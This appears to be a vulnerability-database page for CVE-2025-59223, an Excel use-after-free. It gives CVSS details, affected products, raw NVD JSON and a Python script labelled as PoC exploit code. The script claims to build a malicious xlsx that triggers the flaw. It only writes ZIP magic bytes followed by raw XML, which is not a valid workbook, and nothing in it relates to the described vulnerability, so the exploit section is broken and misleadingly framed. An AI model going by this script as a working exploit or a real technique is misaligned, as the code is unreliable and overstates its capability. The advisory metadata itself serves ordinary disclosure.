Security Vulnerability Report
中文
CVE-2025-59223 CVSS 7.8 HIGH

CVE-2025-59223

Published: 2025-10-14 17:16:03
Last Modified: 2025-10-16 20:17:57

Description

Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016 (32位和64位版本)
Microsoft Office Excel 2019
Microsoft Office LTSC Standard 2021
Microsoft Office LTSC Professional Plus 2021
Microsoft 365 Apps for Enterprise
Microsoft Office for Mac

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59223 - Microsoft Office Excel Use After Free PoC # This PoC demonstrates the concept of triggering a Use-After-Free vulnerability # in Microsoft Office Excel through a specially crafted file. import struct import os def generate_malicious_xlsx(output_path): """ Generate a malicious Excel file that may trigger CVE-2025-59223. The file exploits a Use-After-Free vulnerability in Excel's memory management when parsing specific object structures. """ # XLSX is essentially a ZIP archive containing XML files # We craft specific XML structures to trigger the UAF condition # Minimal XLSX structure with malicious payload malicious_content = b"PK\x03\x04" # ZIP magic bytes # Content Types XML content_types = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' # Crafted worksheet XML with objects designed to trigger UAF # The key is creating references that will be freed but still accessed worksheet_xml = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="str"><v>Test</v></c> </row> </sheetData> </worksheet>''' with open(output_path, 'wb') as f: f.write(malicious_content) f.write(content_types) f.write(worksheet_xml) print(f"[*] Malicious Excel file generated: {output_path}") print("[*] Note: Actual exploitation requires precise memory manipulation") print("[*] This PoC is for educational and research purposes only") if __name__ == "__main__": output = "cve_2025_59223_poc.xlsx" generate_malicious_xlsx(output) print(f"\n[+] PoC file created at: {os.path.abspath(output)}") print("[!] WARNING: Do not open this file on unpatched systems")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59223", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:02.717", "lastModified": "2025-10-16T20:17:57.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20059", "matchCriteriaId": "94C948A2-EAF1-4471-81BD-38E5F4A92F72"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59223", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}